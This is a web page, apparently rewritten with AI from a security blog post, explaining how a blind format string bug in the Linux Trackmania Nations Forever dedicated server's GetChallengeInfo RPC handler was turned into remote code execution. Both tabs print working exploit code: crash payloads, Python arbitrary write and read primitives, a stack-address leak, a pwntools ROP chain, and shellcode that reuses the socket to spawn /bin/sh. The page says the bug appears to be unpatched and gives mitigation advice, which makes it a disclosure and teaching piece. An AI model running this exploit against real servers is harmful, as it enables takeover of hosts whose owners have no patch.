Skip to content
Memory corruption Write-up Advanced

Hacking TMNF: Part 2 Exploiting a blind format string

A format string vulnerability in the error logger of the Linux Trackmania Nations Forever server, reachable via the GetChallengeInfo RPC call, allowed an attacker to write to memory and achieve remote code execution. The exploit used the %n specifier to build an arbitrary write primitive, then overwrote a return pointer to execute a ROP chain and shellcode.

blog.bricked.tech

Published on blog.bricked.tech

Last we left off we found a format string bug in the error logger for the Trackmania Nations Forever server. The vulnerable code is reachable from a lot of places, but our entry point is the “GetChallengeInfo” RPC call.

The author, on blog.bricked.tech

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

Trackmania Nations Forever (TMNF) ships with a dedicated server. On Linux, that server exposes an XML-RPC interface that remote clients can use to query information about the server and the tracks it hosts. One of the RPC methods is GetChallengeInfo, which takes a track name as a parameter and looks it up. When the name is not found, the server logs an error through fprintf to stdout.

The previous part of this research found a format string bug in that error logger. The vulnerable code is reachable from many places, but the entry point used here is the GetChallengeInfo RPC call. This part root-causes the crash and turns it into full remote code execution.

Setup

The target is the Linux-based Trackmania Forever server. The bug affects that server only. The following are explicitly not affected:

  • TrackmaniaServer.exe, the Windows equivalent server
  • Trackmania.exe, the Forever client
  • Newer server versions (ManiaPlanet / Trackmania2020)

The vulnerable code path is opened by the /nodaemon startup flag. The researcher used GDB with pwndbg for triage, Binary Ninja with the decomp2dbg plugin for decompilation, and pwntools for the exploit. The main server binary has the following properties:

YAML
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

RELRO is not relevant because the server is statically compiled. The absence of PIE makes the arbitrary write primitive very powerful: the process can be corrupted directly, without first leaking memory.

Finding it

The crashing payload found by the fuzzer in part one is:

XML
<?xml version="1.0"?>
<methodCall>
    <methodName>GetChallengeInfo</methodName>
    <params>
        <param>
            <value>%999999s</value>
        </param>
    </params>
</methodCall>

Setting a breakpoint right before the call to fprintf and sending this payload shows the format string stored in arg[1], with both fprintf arguments visible on the stack.

From the original on blog.bricked.tech

Letting the program continue produces a SIGSEGV when it tries to dereference the 999999th string from memory.

A less aggressive argument confirms the bug. Calling GetChallengeInfo("%p %p %p %p") makes the server print the following to its stdout:

Text
Track '0x2 (nil) 0x8ce048c 0xffffc710' not found.

The four %p specifiers consume four values from the stack even though no arguments were supplied, which is the classic signature of a format string bug.

Exploitation

Format string basics

A format string bug can provide both a read and a write primitive from a single bug. A printf call that tries to print three pointers with no arguments leaks stack values:

C
printf("%p %p %p");
// ./a.out
// 0x7ffe67fe8ca8 0x7ffe67fe8cb8 0x559c14ba4dc0

printf still prints something, so it grabs arguments from the stack anyway.

The %n format option writes to memory: it stores the number of characters printed so far at the address given as the corresponding argument.

C
int characters_printed_so_far = 0;
printf("Hello world!\n%n", &characters_printed_so_far);
printf("characters_printed_so_far = %d\n", characters_printed_so_far);
// ./a.out
// Hello world!
// characters_printed_so_far = 13

In a classic CTF challenge the format string you control is also on the stack, which allows writing anywhere in memory with this trick. Microsoft disables %n by default, which is why the exploit does not affect the Windows server variant.

Why the obvious approaches fail

The output of printf goes to the server's stdout, which a remote attacker cannot see, so memory cannot be leaked this way. Worse, running vmmap on the address of the format string shows it resides on the heap. The easy <target addr>%x$n method of writing to a target address is therefore unavailable.

From the original on blog.bricked.tech

%n can still write to locations, just not arbitrary ones. With a few clever writes it can be upgraded to an arbitrary write primitive.

Upgrading the primitive

%n can write to any pointer on the stack, but the attacker cannot place pointers of their own on the stack. The trick is to find pointers to the stack that already exist on the stack, and use printf to put content there. Pointers to the stack are guaranteed to exist because the stack contains base pointers: stack frames form a linked list, with each stored base pointer pointing to the base pointer of the previous, older stack frame.

From the original on blog.bricked.tech

That structure is generated by a program like this:

C
void func3() {
    // StackFrame 3
    //...
}
void func2() {
    // StackFrame 2
    // ...
    func3();
}
void func1() {
    // StackFrame 1
    // ...
    func2();
}

Base pointer 2 can be used to write a value into StackFrame 1. Any arbitrary value can be written into that base pointer field, and as long as the frame is not recovered, the program keeps running fine. Overwriting the stack frame of main() would be risky if the program returned from main(), but the Trackmania server uses a game loop and does not return to old functions like main or __libc_start_main, so this is not an issue.

The arbitrary write works in two steps: a first write to punch in the target address, followed by a second write to write a value at that target address. The same process is described in Blind Format String Attacks by Kilic et al.

Step 1: triggering the bug

A helper wraps the format string in the XML-RPC call:

Python
def throw(format_string):
    contents = f"""
    <?xml version="1.0"?><methodCall><methodName>GetChallengeInfo</methodName>
    <params><param><value>{format_string}</value></param></params></methodCall>
    """.encode()
    return send_content(contents)

Step 2: a basic write primitive

The first write primitive uses printf's padding to print a number of characters corresponding to the address and value to write:

Python
def write(address, value):
    global offset_2, offset_3
    # We need to account for the length of the "Track '" prefix
    # (This also means this function can't write values < 6)
    initial = len("Track '")
    # Set the target address
    s = f"%{address - initial}d%{offset_2}$n"
    throw(s)
    # Write to the target address
    s = f"%{value - initial}d%{offset_3}$n"
    throw(s)

The offsets point to different links in a chain of base pointers. After writing 0x414141 to 0x8cda7e8, the chain looks like this:

    offset_1:
f1:03c4│     0xffffccd0 —▸ 0xffffccd8 —▸ 0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141
f2:03c8│     0xffffccd4 —▸ 0x8a26677 —▸ 0xffb8c289 ◂— 0xffb8c289
    offset_2:
f3:03cc│     0xffffccd8 —▸ 0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141
f4:03d0│     0xffffccdc —▸ 0x80484af ◂— add    esp, 0xc
f5:03d4│     0xffffcce0 —▸ 0x8048460 ◂— mov    eax, 0x8cbaa9c
f6:03d8│     0xffffcce4 ◂— 0x0
f7:03dc│     0xffffcce8 —▸ 0x8c77544 ◂— 0x0
f8:03e0│     0xffffccec —▸ 0x8a74634 ◂— mov    eax, dword ptr [ebx - 4]
f9:03e4│     0xffffccf0 ◂— 0x0
fa:03e8│     0xffffccf4 ◂— 0x35 /* '5' */
    offset_3:
fb:03ec│     0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141

The offsets were found by setting a breakpoint on the fprintf call and dumping the entire stack in pwndbg, then looking for pointers on the stack that point to another location on the stack. An offset here means the argument index in the vulnerable printf call that reaches the wanted pointer. In the example above, offsets 1, 2 and 3 are the 287th, 289th and 297th printf arguments respectively.

Step 3: optimising the write

The primitive works but is slow, because it writes in chunks of 4 bytes. Writing the value 0x8048000 would make the server print 134.5 MB of padding to stdout. printf can also write single bytes, which is much faster, at the cost of a more complicated address selection built on a chain of three base pointers. The second base pointer acts as a multiplexer selecting which byte of the third base pointer to write to.

From the original on blog.bricked.tech

The method is a lot faster but requires knowing or guessing the least significant byte (LSB) of the second base pointer. It appears to be 16-byte aligned, so without a leaked stack address there is a 1/16 chance of pulling the exploit off.

Step 4: leaking a stack address

No memory disclosure vulnerability was found, so the arbitrary write is used to induce one. The GetVersion RPC call returns basic information about the server, and the referenced globals contain pointers to the server name, version and build:

C
void * GetVersion(void *ctx, _xmlrpc_env *env, /* ... */
    CIPCRemoteControl_SAuthParams *session_object) {
  if (session_object != NULL && *(session_object + 0x10) < 3)) {
    return _xmlrpc_build_value(env, "{s:s,s:s,s:s}", "Name", g_server_name,
    "Version", g_server_version, "Build", g_server_build);
  }
  CIPCRemoteControl::SetGbxError(env,"Permission denied.");
  return NULL;
}

Overwriting the pointer stored in the g_server_name global with an address makes the next GetVersion call return the value stored at that address as the "Name", instead of the expected "TmForever". The server stores a pointer to the start of argv in a global (g_argv_leak), so setting that as the game's name leaks a stack address. offset_2 sits at a fixed offset relative to the leaked address, which allows calculating its LSB. One slow, naive write sets this up:

Python
def slow_calibrate():
    global offset_2, offset_3
    global mux_initial_lsb
    initial = len("Track '")
    s = f"%{g_game_name - initial}d%{offset_2}$n"
    throw(s)
    s = f"%{g_argv_leak - initial}d%{offset_3}$n"
    throw(s)
    res = version()
    leak = u32(res.split(b"string>")[1][:-2][:4])
    # calculate LSB based on the offset
    mux_initial_lsb = (leak - 0x254) & 0xff

def read(addr):
    write(g_game_name, p32(addr))
    res = version()
    leak = u32(res.split(b"string>")[1][:-2][:4])
    assert leak != u32(b"TmFo"), "Leak is broken, aborting"
    return leak

Step 5: the optimised write

With the initial LSB known, the write primitive is split into a function that updates the target address and a function that performs the write. Caching the last target address avoids many writes:

Python
def set_target_addr(addr):
    global offset_1, offset_2
    global last_target_addr
    for i in range(4):
        # We may be able to skip the loop
        if last_target_addr is not None:
            if ((last_target_addr >> (8*i)) & 0xff) == ((addr >> (8*i)) & 0xff):
                continue

        count = len("Track '")
        # Target byte X of the muxer
        val = 0x100 + mux_initial_lsb + i - count
        s = f"%{val}d%{offset_1}$hhn"
        throw(s)

        # Write the address byte
        val = 0x100 + ((addr >> (8*i)) & 0xff) - count
        s = f"%{val}d%{offset_2}$hhn"
        throw(s)
    last_target_addr = addr

The write function isolates one byte at a time and updates the target address to write it to the correct location:

Python
def write(addr, value):
    initial = len("Track '")
    log.info(f"WRITE(0x{addr:x}, {value})")

    assert len(value) <= 4
    for i, byte in enumerate(value):
        set_target_addr(addr + i)

        val = 0x100 + byte - initial
        s = f"%{val}d%{offset_3}$hhn"
        throw(s)

The 0x100 values overflow once so that values smaller than len("Track '") can be written.

Step 6: ROP

With read and write primitives, the rest is straightforward. After trying a couple of exploitation strategies, the researcher wrote a ROP chain directly on the stack and jumped to it by overwriting a saved return pointer. The chain calls mprotect to make the stack executable, then jumps to the included shellcode. pwntools's ROP features generate it:

Python
argv = read(g_argv_leak)
main_ret = argv - 0x290
log.info(f"Overwriting        : {hex(main_ret)}")

# + 0x2bc offset to move the ROP chain down a bit,
# see next paragraph
rop_base = main_ret + 0x2bc + 4

context.binary = e = ELF("TrackmaniaServer")
context.kernel = context.arch
rop = ROP(e)
int_80_ret = next(e.search(asm("int 0x80; ret;")))

rop.eax = constants.SYS_mprotect
rop.ebx = rop_base & 0xfffff000
rop.ecx = 0x3000
rop.edx = 0x7
# Make the stack executable
rop.call(int_80_ret)
# Jump to the stack
rop.call(rop.jmp_esp)

rop.raw(shellcode)

The stack has to remain somewhat valid throughout the process, which is solved by writing the ROP chain further down the stack (at a higher address) and jumping to it with a small gadget. Overwriting the return pointer with that gadget must happen in one go, because the address has to be valid for the game loop to run successfully:

Python
# Slow(er) write primitive. The actual write is one-shot
def write_one(addr, value):
    set_target_addr(addr)
    initial = len("Track '")
    log.info(f"WRITE(0x{addr:x}, {value})")
    value = u32(value)
    value -= initial

    s = f"%{value}d%{offset_3}$n"
    throw(s)

log.info("Triggering pivot, prepare for shell")
# 0x08064446: add esp, 0x2bc; ret;
write_one(main_ret, p32(0x08064446))

Step 7: shellcode

The shellcode can do anything, but the process's stdin is not accessible. A reverse shell would work; the researcher chose socket reuse shellcode instead:

Python
# Socket re-use shellcode
# <3 https://www.exploit-db.com/exploits/34060
shellcode = asm(f"""
/* We use sys_dup(2) to get the previous attributed sockfd */
push 0x2;
pop ebx;
push 0x29;
pop eax;
int 0x80; //-> call dup(2)
dec eax;

/* Now EAX = our Socket File Descriptor */

mov esi, eax;

/* dup2(fd,0); dup2(fd,1); dup2(fd,2); */
xor    ecx,ecx;
push   esi;
pop    ebx;

.loop:
push   0x3f;
pop    eax;
int    0x80;
inc    ecx;
cmp    cl, 3;
jne    .loop;

/* execve /bin/sh by ipv */
push 0xb;
pop eax;
cdq;
push edx;
xor esi, esi;
push esi;
push 0x68732f2f;
push 0x6e69622f;
mov ebx, esp;
xor ecx, ecx;
int 0x80
""")

Demo

The researcher recorded a demo against their own VPS. The terminal in the top-left shows the VPS stdout, with the vulnerable printf in action. The bottom left shows the log file with the actual track names being requested.

Or watch on YouTube
YouTube video From the original on blog.bricked.tech

Root cause

At the fprintf call the attacker-controlled track name is the format string in arg[1]. Because the format string lives on the heap rather than the stack, the classic <target addr>%x$n write does not apply, but the base pointer chain on the stack still provides pointers to the stack that %n can write through. The binary is statically compiled and not position independent, and has no stack canary, so once the arbitrary write exists the process can be corrupted directly without a prior memory leak. The %n specifier is available on Linux; on Windows it is disabled by default, which is why the Windows server variant is not affected.

Impact

An attacker who can reach the RPC port of a Linux Trackmania Forever server started with /nodaemon can achieve remote code execution. The exploit was demonstrated against the researcher's own VPS. The bug affects only the Linux-based Trackmania Forever server; the Windows server, the Forever client and newer server versions are not affected.

On exposure: the researcher's initial impression was that nobody would expose RPC over the internet, since it is not the default and enabling it produces a big warning. Scanning the limited port range 5000-5100, an exposed RPC port was found for over 10% of the public dedicated servers. Not all of those are necessarily vulnerable: they might be Windows based or running in daemon mode, and the exploit was not tested against them, so the real number of vulnerable online hosts is unknown. About half of these also show up on Shodan.

Fix

No patch is described. The researcher asked in the Trackmania discord for a contact, which initially seemed to work, but after providing details and a full exploit over email it went quiet. A few weeks before posting, another email to Nadeo asking about plans to patch or announce something also went unanswered. Before publishing, several server owners were contacted with mitigation advice.

The mitigations given are:

  1. Ensure /nodaemon is not used in the server startup command, since it is what opens the vulnerable code path used in this exploit.
  2. Configure a firewall so the RPC port is not exposed. This only breaks this specific exploit and may or may not be enough to fully mitigate the bug, but it is a good precaution.

Variants to test

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 28 min read.

What happened, in plain words

Trackmania Nations Forever (TMNF) is a racing game. Besides the game you play on your own computer, there is a separate program called a dedicated server: a machine that hosts a race track and lets many players connect to it at once. On Linux, that server offers a way for other programs to talk to it over the network, called XML-RPC. Think of it as a service counter: you send a written request in a fixed format, and the server writes back an answer. One of the requests you can make is GetChallengeInfo, which asks the server about a track by name. If the name does not exist, the server writes an error message to its own screen output (its log).

The previous part of this research found that this error message is built in an unsafe way: the track name you send is treated as a set of instructions rather than as plain text. That class of mistake is called a format string bug. In this part, the researcher works out exactly why the server crashes, and then builds a full exploit: a program that takes over the server completely, so that the attacker can run their own commands on it. Taking over a machine this way is called remote code execution, or RCE.

Recap

The earlier part found the bug in the error logger of the Trackmania Nations Forever server. The unsafe code can be reached from many places, but the entry point used here is the GetChallengeInfo RPC call. The crashing request that a fuzzer found is:

XML
<?xml version="1.0"?>
<methodCall>
    <methodName>GetChallengeInfo</methodName>
    <params>
        <param>
            <value>%999999s</value>
        </param>
    </params>
</methodCall>

Line by line:

  • <?xml version="1.0"?> says this document is written in XML, a text format for structured data. It is the same idea as a form with labelled fields.
  • <methodCall> opens the request. It tells the server "I want to call one of your functions".
  • <methodName>GetChallengeInfo</methodName> names the function to call: the one that looks up a track.
  • <params><param><value>...</value></param></params> wraps the argument you pass to that function. Here the argument is the text %999999s.
  • %999999s is not a track name. In the C programming language, %s inside a piece of text tells the printing function "insert a string here". The 999999 says "read the 999999th argument". The server has nowhere near that many arguments, so it reads far outside its own memory and crashes.

In this post the researcher explains the crash and turns it into full remote code execution.

Due diligence

Before showing the exploit, the post explains how to protect yourself from it.

Affected versions

This bug affects you if and only if you run a Linux-based Trackmania Forever server. The following products are explicitly not affected:

  • TrackmaniaServer.exe, the Windows equivalent server
  • Trackmania.exe, the Forever client (the game you play on)
  • Newer versions of the server (ManiaPlanet / Trackmania2020)

Mitigation advice

If you do run the Linux-based Trackmania Forever server, you can still reduce the risk. You should:

  1. Make sure /nodaemon is not used in the startup command for the server. /nodaemon is what opens the vulnerable code path used in this exploit. It is what opens the vulnerable code path used in this exploit.
  2. Configure a firewall so that the RPC port is not reachable from the internet. A firewall is a filter on network traffic: it decides which connections are allowed in. This only breaks this specific exploit and may or may not be enough to fully mitigate the bug, but it is a good precaution either way.

Triage

Triage means looking at a crash and working out what caused it, before trying to exploit it.

Root cause

The researcher used GDB, a debugger, to examine the crash. A debugger lets you pause a running program, look at its memory and step through it instruction by instruction. A breakpoint is a marker you set on a line of code: when the program reaches it, it pauses. The researcher set a breakpoint right before the call to fprintf, the C function that prints formatted text, and sent the XML payload. In the screenshot, the format string is stored in arg[1], the second argument to fprintf. Looking at the stack, both fprintf arguments are visible as well. The stack is the region of memory where a program keeps the short-lived data of the functions it is currently running. The fancy decompilation in the screenshot comes from a Binary Ninja plugin; Binary Ninja is a tool that turns compiled machine code back into readable C-like code.

From the original on blog.bricked.tech

If you let the program continue, it hits a SIGSEGV. That is the operating system's way of saying "this program tried to read memory it is not allowed to read", and it kills the program. It happens when the server tries to dereference the 999999th string from memory: dereference means "go to the address stored here and read what is there".

The same call can be tried with a less aggressive argument. Querying GetChallengeInfo("%p %p %p %p") makes the following message appear on the server's stdout (its normal text output):

Text
Track '0x2 (nil) 0x8ce048c 0xffffc710' not found.

%p is the format specifier that means "print a pointer", a memory address. The server was supposed to print the track name, but instead it printed four memory addresses. That is the classic signature of a format string bug: the printing function ran out of real arguments and started reading whatever happened to be next in memory. (nil) is how a null pointer is printed.

Format string exploitation 101

A format string bug can be deadly, because a single bug can give both a way to read memory and a way to write to it. As a quick example, this printf call leaks values because it tries to print three pointers while no arguments are provided:

C
printf("%p %p %p");
// ./a.out
// 0x7ffe67fe8ca8 0x7ffe67fe8cb8 0x559c14ba4dc0

Line by line:

  • printf("%p %p %p"); asks the program to print three pointers, but gives it no values to print.
  • The three comment lines show what the program actually printed when run: three addresses. printf still prints something, so it grabs arguments from the stack anyway. Those addresses are leftovers from whatever the program was doing before.

A lesser-known feature of printf is its ability to write to memory using the %n format option. In the next snippet, the length of Hello world!\n is written to a variable on the stack:

C
int characters_printed_so_far = 0;
printf("Hello world!\n%n", &characters_printed_so_far);
printf("characters_printed_so_far = %d\n", characters_printed_so_far);
// ./a.out
// Hello world!
// characters_printed_so_far = 13

Line by line:

  • int characters_printed_so_far = 0; creates a whole-number variable and sets it to zero. &characters_printed_so_far means "the address of this variable".
  • printf("Hello world!\n%n", &characters_printed_so_far); prints the greeting, then %n takes the address it was given and stores there the number of characters printed so far. \n is a newline.
  • The second printf prints that number, and the output shows 13, because Hello world! plus the newline is 13 characters.

So %n is a write: it writes a number to an address you supply. In a classic CTF challenge (a capture-the-flag exercise, a legal hacking puzzle), the format string you control is usually also on the stack, which allows you to write anywhere in memory with this trick. Microsoft disables %n by default in its C library, which is why this exploit does not affect the Windows server variant.

Exploitability

Back to the bug. The output of printf is sent to the server's stdout, which a remote attacker cannot see, so memory cannot be leaked this way. Worse, running vmmap on the address of the format string shows it resides on the heap. vmmap is a debugger command that shows which region of memory an address belongs to. The heap is the area of memory a program uses for data it creates while running, as opposed to the stack. This means the easy <target addr>%x$n method of writing to a target address is unavailable: that method relies on your own text sitting on the stack, where printf looks for its arguments.

From the original on blog.bricked.tech

All of this does not make the bug useless. %n can still write to locations, just not arbitrary ones. With a few clever writes, it can be upgraded to an arbitrary write primitive: the ability to write a chosen value to a chosen address.

Upgrading the primitive

Intuitively, %n can write to any pointer that is on the stack. The problem is that the attacker cannot place pointers of their own on the stack. This is where the trick comes in: if there are pointers to the stack already on the stack, printf can be used to put content on the stack for us. Pointers to the stack are guaranteed to exist because the stack contains base pointers. A base pointer is a saved marker of where the current function's stack frame begins. A stack frame is the block of stack memory belonging to one function call. You can think of stack frames as a linked list, with each stored base pointer pointing to the base pointer of the previous, older stack frame.

From the original on blog.bricked.tech

This structure is generated by a program like this:

C
void func3() {
    // StackFrame 3
    //...
}
void func2() {
    // StackFrame 2
    // ...
    func3();
}
void func1() {
    // StackFrame 1
    // ...
    func2();
}

Line by line:

  • void func3() { ... } defines a function that does nothing in this example; its comment marks where its stack frame would be.
  • void func2() { ... func3(); } defines a function that calls func3. When it does, a new frame for func3 is placed on the stack.
  • void func1() { ... func2(); } does the same one level up.

When func1 calls func2, which calls func3, the stack holds three frames in a row, and each frame records where the previous one started. In this example, base pointer 2 can be used to write a value into StackFrame 1. Any arbitrary value can be written into that base pointer field, and as long as the frame is not recovered, the program keeps running fine. "Recovered" means the function returns and the program uses the saved base pointer to restore its previous position.

Overwriting the stack frame of main() would be risky if the program ever returned from main(), because it would then jump to a corrupted place. But the Trackmania server uses a game loop and does not return to old functions like main or __libc_start_main, so this is not an issue. A game loop is a piece of code that runs forever, handling one game tick after another.

At this point it should be clear how to obtain an arbitrary write. You first perform a write to "punch in" your target address, followed by a second write to write a value at the target address. The same process is described in Blind Format String Attacks by Kilic et al, though the researcher finds that explanation overcomplicated for this use case.

Exploitation

Now that there is a plan for an arbitrary write primitive, the exploit can be built. For reference, here is a checksec of the main server binary. Checksec is a small tool that reports which safety features a compiled program was built with:

YAML
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

What each line means:

  • Arch: i386-32-little says the program is built for 32-bit Intel processors and stores numbers with the smallest byte first.
  • RELRO: No RELRO refers to a protection for a table of function addresses. It is not relevant here because the server is statically compiled, meaning all its libraries are baked into one file.
  • Stack: No canary found means there is no canary: a secret value placed on the stack that the program checks before returning from a function, to detect tampering. Without one, overwriting a saved return address goes unnoticed.
  • NX: NX enabled means the stack is marked non-executable: the processor refuses to run code stored there. The exploit will have to work around this.
  • PIE: No PIE (0x8048000) means the program is not position independent: it is always loaded at the same fixed address, here starting at 0x8048000. This makes the arbitrary write primitive very powerful, because the attacker knows exactly where everything is and can start corrupting the process directly, without first having to leak memory.

Arbitrary write

Helper functions

First, a simple way to trigger the format string bug:

Python
def throw(format_string):
    contents = f"""
    <?xml version="1.0"?><methodCall><methodName>GetChallengeInfo</methodName>
    <params><param><value>{format_string}</value></param></params></methodCall>
    """.encode()
    return send_content(contents)

Line by line:

  • def throw(format_string): defines a Python function that takes the text to send.
  • The triple-quoted string builds the same XML request as before, with {format_string} replaced by whatever was passed in. The f before the quotes means Python fills in the braces.
  • .encode() turns the text into bytes, which is what goes over the network.
  • return send_content(contents) sends those bytes to the server and returns the reply. send_content is a helper defined elsewhere in the exploit.

Next, the goal is to stop thinking about the details of the format string and start thinking in terms of abstract primitives. Here is a basic write primitive. It uses the padding feature of printf to print a certain number of characters, corresponding to the address and value to write to:

Python
def write(address, value):
    global offset_2, offset_3
    # We need to account for the length of the "Track '" prefix
    # (This also means this function can't write values < 6)
    initial = len("Track '")
    # Set the target address
    s = f"%{address - initial}d%{offset_2}$n"
    throw(s)
    # Write to the target address
    s = f"%{value - initial}d%{offset_3}$n"
    throw(s)

Line by line:

  • global offset_2, offset_3 says these two numbers are shared with the rest of the program. They are the argument positions in the vulnerable printf call that reach the stack pointers we want.
  • initial = len("Track '") counts the characters the server prints before our text: the error message starts with Track '.
  • s = f"%{address - initial}d%{offset_2}$n" builds a format string that prints enough padding characters to make the total printed count equal to address, then uses %n to write that count to the pointer at argument offset_2. The $ syntax picks a numbered argument directly.
  • throw(s) sends it.
  • The second pair does the same with value and offset_3, writing the desired value at the address that was just punched in.
  • The comment notes that because of the prefix, this function cannot write values smaller than 6.

The offsets point to different links in a chain of base pointers. For instance, here is what the chain looks like after writing 0x414141 to 0x8cda7e8:

    offset_1:
f1:03c4│     0xffffccd0 —▸ 0xffffccd8 —▸ 0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141
f2:03c8│     0xffffccd4 —▸ 0x8a26677 —▸ 0xffb8c289 ◂— 0xffb8c289
    offset_2:
f3:03cc│     0xffffccd8 —▸ 0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141
f4:03d0│     0xffffccdc —▸ 0x80484af ◂— add    esp, 0xc
f5:03d4│     0xffffcce0 —▸ 0x8048460 ◂— mov    eax, 0x8cbaa9c
f6:03d8│     0xffffcce4 ◂— 0x0
f7:03dc│     0xffffcce8 —▸ 0x8c77544 ◂— 0x0
f8:03e0│     0xffffccec —▸ 0x8a74634 ◂— mov    eax, dword ptr [ebx - 4]
f9:03e4│     0xffffccf0 ◂— 0x0
fa:03e8│     0xffffccf4 ◂— 0x35 /* '5' */
    offset_3:
fb:03ec│     0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141

This is a dump of part of the stack. Each line shows a stack slot: its position on the left, then the value stored there. The arrow —▸ means "points to". Reading it:

  • The slot at 0xffffccd0 points to 0xffffccd8, which points to 0xffffccf8, which points to 0x8cda7e8, which now holds 0x414141. That is a chain of three stack pointers, and the last one is the address that was written to.
  • The labels offset_1, offset_2 and offset_3 mark the three links of the chain. offset_1 is the first pointer, offset_2 the second, offset_3 the third.
  • The other lines are unrelated stack contents: return addresses into the program (the lines showing instructions like add esp, 0xc) and leftover values.

To find useful offsets, the researcher set a breakpoint on the fprintf call and dumped the entire stack in pwndbg, a GDB extension that makes memory easier to read. By looking for pointers on the stack that point to another location on the stack, such chains can be found. For the next part, a chain of three linked stack pointers is needed. "Offset" here means: in the vulnerable printf call, which argument number gets us to the pointer we want? In the example above, offsets 1, 2 and 3 are the 287th, 289th and 297th printf arguments respectively.

Optimizing the write

The write primitive works, but it is slow, because it only writes in chunks of 4 bytes. If the value 0x8048000 is to be written, the poor server has to print 134.5 MB worth of padding to stdout. printf also allows writing single bytes, which is much faster. This requires a slightly more complicated address selection procedure, built with a chain of three base pointers.

Essentially, the second base pointer is used as a "multiplexer" to select which byte of the third base pointer to write to. A multiplexer is a switch that picks one of several inputs; here it picks which of the four bytes of an address gets overwritten. To illustrate this, the researcher put together the following gif:

From the original on blog.bricked.tech

This method is a lot faster, but it requires knowing or guessing the least significant byte (LSB) of the second base pointer. The LSB is the last byte of a number, the one that changes fastest when you count. It seems to be 16-byte aligned, meaning the address is always a multiple of 16, so without a leaked stack address there is a 1/16 chance of pulling the exploit off. Not terrible, but it can be done better.

Leak

No memory disclosure vulnerability was found, so the arbitrary write is used to induce one. A memory disclosure is a bug that makes a program reveal memory contents to the attacker. One of the RPC calls available is GetVersion. It returns some basic information about the server. The referenced globals contain pointers to the server name, version and build respectively. A global is a variable that exists for the whole life of the program and is visible everywhere in it.

C
void * GetVersion(void *ctx, _xmlrpc_env *env, /* ... */
    CIPCRemoteControl_SAuthParams *session_object) {
  if (session_object != NULL && *(session_object + 0x10) < 3)) {
    return _xmlrpc_build_value(env, "{s:s,s:s,s:s}", "Name", g_server_name,
    "Version", g_server_version, "Build", g_server_build);
  }
  CIPCRemoteControl::SetGbxError(env,"Permission denied.");
  return NULL;
}

Line by line:

  • void * GetVersion(...) declares the function that answers the GetVersion request. The parameters are the context, the XML-RPC environment and a session object describing who is asking.
  • if (session_object != NULL && *(session_object + 0x10) < 3)) checks that a session exists and that some permission level stored inside it is below 3, meaning the caller is allowed to see the version.
  • return _xmlrpc_build_value(env, "{s:s,s:s,s:s}", "Name", g_server_name, "Version", g_server_version, "Build", g_server_build); builds the reply: a structure with three text fields. The values come from the globals g_server_name, g_server_version and g_server_build.
  • If the check fails, CIPCRemoteControl::SetGbxError(env,"Permission denied."); sets an error and return NULL; returns nothing.

This can be used as a way to dereference any address: overwrite the pointer stored in the g_server_name global with an address, and the next time GetVersion is called, the returned "Name" will be the value stored at that address, rather than the expected "TmForever". The server stores a pointer to the start of argv in a global (g_argv_leak). argv is the list of command-line arguments the server was started with, and a pointer to its start is stored in g_argv_leak. So setting that as the game's "Name" leaks a stack address. offset_2 is at a fixed offset relative to the leaked address, so its LSB can be calculated. One slow, naive write sets this up:

Python
def slow_calibrate():
    global offset_2, offset_3
    global mux_initial_lsb
    initial = len("Track '")
    s = f"%{g_game_name - initial}d%{offset_2}$n"
    throw(s)
    s = f"%{g_argv_leak - initial}d%{offset_3}$n"
    throw(s)
    res = version()
    leak = u32(res.split(b"string>")[1][:-2][:4])
    # calculate LSB based on the offset
    mux_initial_lsb = (leak - 0x254) & 0xff

def read(addr):
    write(g_game_name, p32(addr))
    res = version()
    leak = u32(res.split(b"string>")[1][:-2][:4])
    assert leak != u32(b"TmFo"), "Leak is broken, aborting"
    return leak

Line by line:

  • slow_calibrate() uses the slow write to point g_server_name at g_argv_leak, then calls version() to fetch the reply.
  • res.split(b"string>")[1][:-2][:4] cuts the reply text apart to grab the four bytes of the leaked address. u32 turns those four bytes back into a number.
  • mux_initial_lsb = (leak - 0x254) & 0xff subtracts the known distance between the leaked address and offset_2, then keeps only the last byte (& 0xff). That is the LSB the fast method needs.
  • read(addr) points g_server_name at any address, calls version(), and returns the four bytes found there. The assert stops the exploit if the reply still starts with TmFo, the beginning of the normal server name, because that would mean the overwrite did not take effect.

Implementing the optimization

Since the initial LSB has been found, the write primitive can now be upgraded. It is split into a function that updates the target address and a function that performs the write. Some basic caching saves a lot of writes, so it is useful to track the addresses being written:

Python
def set_target_addr(addr):
    global offset_1, offset_2
    global last_target_addr
    for i in range(4):
        # We may be able to skip the loop
        if last_target_addr is not None:
            if ((last_target_addr >> (8*i)) & 0xff) == ((addr >> (8*i)) & 0xff):
                continue

        count = len("Track '")
        # Target byte X of the muxer
        val = 0x100 + mux_initial_lsb + i - count
        s = f"%{val}d%{offset_1}$hhn"
        throw(s)

        # Write the address byte
        val = 0x100 + ((addr >> (8*i)) & 0xff) - count
        s = f"%{val}d%{offset_2}$hhn"
        throw(s)
    last_target_addr = addr

Line by line:

  • for i in range(4): loops over the four bytes of a 32-bit address, one at a time.
  • The if last_target_addr is not None: block skips a byte if it is already the same as in the previous target address. >> (8*i) shifts the number right by whole bytes, and & 0xff keeps the byte at position i.
  • val = 0x100 + mux_initial_lsb + i - count computes how many characters to print so that the count lands on the wanted byte of the multiplexer pointer. %hhn is like %n but writes only a single byte.
  • The second val does the same for the byte of the target address itself, written through offset_2.
  • last_target_addr = addr remembers the address for next time.

The write function now becomes fairly simple: it isolates one byte at a time and updates the target address to write it to the correct location:

Python
def write(addr, value):
    initial = len("Track '")
    log.info(f"WRITE(0x{addr:x}, {value})")

    assert len(value) <= 4
    for i, byte in enumerate(value):
        set_target_addr(addr + i)

        val = 0x100 + byte - initial
        s = f"%{val}d%{offset_3}$hhn"
        throw(s)

Line by line:

